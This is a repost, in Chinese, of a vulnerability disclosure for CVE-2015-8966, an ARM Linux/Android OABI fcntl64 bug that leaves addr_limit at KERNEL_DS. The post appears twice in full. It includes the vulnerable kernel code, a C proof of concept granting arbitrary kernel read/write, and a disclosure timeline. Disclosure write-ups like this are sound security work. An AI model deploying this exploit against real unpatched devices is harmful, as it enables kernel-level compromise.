CVE-2015-8966/AndroidID-31435731
生活随笔
收集整理的這篇文章主要介紹了
CVE-2015-8966/AndroidID-31435731
小編覺得挺不錯(cuò)的,現(xiàn)在分享給大家,幫大家做個(gè)參考.
標(biāo) 題:
【原創(chuàng)】CVE-2015-8966/AndroidID-31435731
作 者: ThomasKing
時(shí) 間: 2016-12-13,23:23:02
鏈 接: http://bbs.pediy.com/showthread.php?t=214585
##?0x0?前言
這個(gè)漏洞大概是在去年11月中旬無意在內(nèi)核源碼中發(fā)現(xiàn)的,原理十分簡單(看起來非常像一個(gè)后門...)
##?0x1?分析
漏洞存在于arm平臺(tái)legacy?syscall?fcntl64:
asmlinkage?long?sys_oabi_fcntl64(unsigned?int?fd,?unsigned?int?cmd,
?????????unsigned?long?arg){
??
??struct?oabi_flock64?user;
??struct?flock64?kernel;
??mm_segment_t?fs?=?USER_DS;?/*?initialized?to?kill?a?warning?*/
??unsigned?long?local_arg?=?arg;
??int?ret;
??switch?(cmd)?{
??case?F_OFD_GETLK:
??case?F_OFD_SETLK:
??case?F_OFD_SETLKW:
??case?F_GETLK64:
??case?F_SETLK64:
??case?F_SETLKW64:
????if?(copy_from_user(&user,?(struct?oabi_flock64?__user?*)arg,
???????????sizeof(user)))
??????return?-EFAULT;
????kernel.l_type??=?user.l_type;
????kernel.l_whence??=?user.l_whence;
????kernel.l_start??=?user.l_start;
????kernel.l_len??=?user.l_len;
????kernel.l_pid??=?user.l_pid;
????local_arg?=?(unsigned?long)&kernel;
????fs?=?get_fs();
????set_fs(KERNEL_DS);??????????//[1]
??}
??ret?=?sys_fcntl64(fd,?cmd,?local_arg);
??switch?(cmd)?{
??case?F_GETLK64:
????if?(!ret)?{
??????...
????}
??case?F_SETLK64:
??case?F_SETLKW64:
????set_fs(fs);?????//[2]
??}
??return?ret;
??
這個(gè)syscall的設(shè)計(jì)是:
1.?準(zhǔn)備參數(shù),設(shè)置當(dāng)前進(jìn)程為addr_limit:?KERNEL_DS
2.?調(diào)用真正實(shí)現(xiàn)的函數(shù)sys_fcntl64
3.?返回結(jié)果,恢復(fù)當(dāng)前進(jìn)程的addr_limit:?USER_DS
在[1]部分,將當(dāng)前進(jìn)程addr_limit設(shè)置為KERNEL_DS,該標(biāo)示能夠讓進(jìn)程獲得內(nèi)核的任意讀寫權(quán)限。
在[2]部分恢復(fù)時(shí),只有某些command類型才恢復(fù)addr_limit。
##?0x2?利用
之所以說看起來像后門,是因?yàn)橐恍衖octl代碼就能獲取任意內(nèi)核讀寫權(quán)限。
獲取任意內(nèi)核讀寫權(quán)限poc:
??__attribute__((naked))?long?sys_oabi_fcntl64(unsigned?int?fd,?unsigned?int?cmd,?unsigned?long?arg){
????__asm?__volatile?(
????"swi??0x9000DD\n"
????"mov??pc,?lr\n"
????:???
????:
????:
??);
??}
??#define?F_OFD_GETLK??36
??#define?F_OFD_SETLK??37
??#define?F_OFD_SETLKW?38
??int?main(int?argc,?char?const?*argv[]){
????int?fd?=?open("/proc/cpuinfo",?O_RDONLY);
????struct?flock?*map_base?=?0;
????if(fd?==?-1){
??????perror("open");
??????return?-1;
????}
????map_base?=?(struct?flock?*)mmap(NULL,?0x1000,?PROT_READ?|?PROT_WRITE,?MAP_PRIVATE?|?MAP_ANONYMOUS,?-1,?0);
????if(map_base?==?(void*)-1){
??????perror("mmap");
??????goto?_done;
????}
????printf("map_base?%p\n",?map_base);
????memset(map_base,?0,?0x1000);
????map_base->l_start?=?SEEK_SET;
????if(sys_oabi_fcntl64(fd,?F_OFD_GETLK,?(long)map_base)){
??????perror("sys_oabi_fcntl64");
????}
????//?Arbitrary?kernel?read/write?test
????if(try_to_read_kernel()){
??????printf("pwnned?!\n");
????}
????munmap(map_base,?0x1000);
??_done:
????close(fd);
????return?0;
??}
??
##?0x3?結(jié)尾
這個(gè)漏洞影響內(nèi)核版本:3.15-4.3,安卓平臺(tái)影響3.18。
現(xiàn)階段支持oabi的設(shè)備越來越少,雖然這個(gè)漏洞看起來很不錯(cuò),但實(shí)際能用的地方并不多,這也是我提交的原因之一。
Btw,這個(gè)CVE-2015-8966我并不知道怎么來的,google給的issue是:AndroidID-31435731。
##?0x4?Timeline
2016.09.10?提交給Kernel?Security
2016.09.15?Kernel確認(rèn)影響內(nèi)核版本,將在下一輪的穩(wěn)定內(nèi)核版本中修復(fù)
---------------------------------------------------------
2016.09.10?在goldfish?3.18驗(yàn)證后提交給google
2016.09.12?谷歌反饋,設(shè)置Critical
2016.10.04?谷歌確認(rèn)不影響當(dāng)前任何谷歌設(shè)備
2016.12.05?Android?Security?Bulletin?-?December?2016?
CVE-2015-8966.pdf
作 者: ThomasKing
時(shí) 間: 2016-12-13,23:23:02
鏈 接: http://bbs.pediy.com/showthread.php?t=214585
##?0x0?前言
這個(gè)漏洞大概是在去年11月中旬無意在內(nèi)核源碼中發(fā)現(xiàn)的,原理十分簡單(看起來非常像一個(gè)后門...)
##?0x1?分析
漏洞存在于arm平臺(tái)legacy?syscall?fcntl64:
asmlinkage?long?sys_oabi_fcntl64(unsigned?int?fd,?unsigned?int?cmd,
?????????unsigned?long?arg){
??
??struct?oabi_flock64?user;
??struct?flock64?kernel;
??mm_segment_t?fs?=?USER_DS;?/*?initialized?to?kill?a?warning?*/
??unsigned?long?local_arg?=?arg;
??int?ret;
??switch?(cmd)?{
??case?F_OFD_GETLK:
??case?F_OFD_SETLK:
??case?F_OFD_SETLKW:
??case?F_GETLK64:
??case?F_SETLK64:
??case?F_SETLKW64:
????if?(copy_from_user(&user,?(struct?oabi_flock64?__user?*)arg,
???????????sizeof(user)))
??????return?-EFAULT;
????kernel.l_type??=?user.l_type;
????kernel.l_whence??=?user.l_whence;
????kernel.l_start??=?user.l_start;
????kernel.l_len??=?user.l_len;
????kernel.l_pid??=?user.l_pid;
????local_arg?=?(unsigned?long)&kernel;
????fs?=?get_fs();
????set_fs(KERNEL_DS);??????????//[1]
??}
??ret?=?sys_fcntl64(fd,?cmd,?local_arg);
??switch?(cmd)?{
??case?F_GETLK64:
????if?(!ret)?{
??????...
????}
??case?F_SETLK64:
??case?F_SETLKW64:
????set_fs(fs);?????//[2]
??}
??return?ret;
??
這個(gè)syscall的設(shè)計(jì)是:
1.?準(zhǔn)備參數(shù),設(shè)置當(dāng)前進(jìn)程為addr_limit:?KERNEL_DS
2.?調(diào)用真正實(shí)現(xiàn)的函數(shù)sys_fcntl64
3.?返回結(jié)果,恢復(fù)當(dāng)前進(jìn)程的addr_limit:?USER_DS
在[1]部分,將當(dāng)前進(jìn)程addr_limit設(shè)置為KERNEL_DS,該標(biāo)示能夠讓進(jìn)程獲得內(nèi)核的任意讀寫權(quán)限。
在[2]部分恢復(fù)時(shí),只有某些command類型才恢復(fù)addr_limit。
##?0x2?利用
之所以說看起來像后門,是因?yàn)橐恍衖octl代碼就能獲取任意內(nèi)核讀寫權(quán)限。
獲取任意內(nèi)核讀寫權(quán)限poc:
??__attribute__((naked))?long?sys_oabi_fcntl64(unsigned?int?fd,?unsigned?int?cmd,?unsigned?long?arg){
????__asm?__volatile?(
????"swi??0x9000DD\n"
????"mov??pc,?lr\n"
????:???
????:
????:
??);
??}
??#define?F_OFD_GETLK??36
??#define?F_OFD_SETLK??37
??#define?F_OFD_SETLKW?38
??int?main(int?argc,?char?const?*argv[]){
????int?fd?=?open("/proc/cpuinfo",?O_RDONLY);
????struct?flock?*map_base?=?0;
????if(fd?==?-1){
??????perror("open");
??????return?-1;
????}
????map_base?=?(struct?flock?*)mmap(NULL,?0x1000,?PROT_READ?|?PROT_WRITE,?MAP_PRIVATE?|?MAP_ANONYMOUS,?-1,?0);
????if(map_base?==?(void*)-1){
??????perror("mmap");
??????goto?_done;
????}
????printf("map_base?%p\n",?map_base);
????memset(map_base,?0,?0x1000);
????map_base->l_start?=?SEEK_SET;
????if(sys_oabi_fcntl64(fd,?F_OFD_GETLK,?(long)map_base)){
??????perror("sys_oabi_fcntl64");
????}
????//?Arbitrary?kernel?read/write?test
????if(try_to_read_kernel()){
??????printf("pwnned?!\n");
????}
????munmap(map_base,?0x1000);
??_done:
????close(fd);
????return?0;
??}
??
##?0x3?結(jié)尾
這個(gè)漏洞影響內(nèi)核版本:3.15-4.3,安卓平臺(tái)影響3.18。
現(xiàn)階段支持oabi的設(shè)備越來越少,雖然這個(gè)漏洞看起來很不錯(cuò),但實(shí)際能用的地方并不多,這也是我提交的原因之一。
Btw,這個(gè)CVE-2015-8966我并不知道怎么來的,google給的issue是:AndroidID-31435731。
##?0x4?Timeline
2016.09.10?提交給Kernel?Security
2016.09.15?Kernel確認(rèn)影響內(nèi)核版本,將在下一輪的穩(wěn)定內(nèi)核版本中修復(fù)
---------------------------------------------------------
2016.09.10?在goldfish?3.18驗(yàn)證后提交給google
2016.09.12?谷歌反饋,設(shè)置Critical
2016.10.04?谷歌確認(rèn)不影響當(dāng)前任何谷歌設(shè)備
2016.12.05?Android?Security?Bulletin?-?December?2016?
CVE-2015-8966.pdf
總結(jié)
以上是生活随笔為你收集整理的CVE-2015-8966/AndroidID-31435731的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 移动APP漏洞自动化检测平台建设
- 下一篇: Android N混合编译与对热补丁影响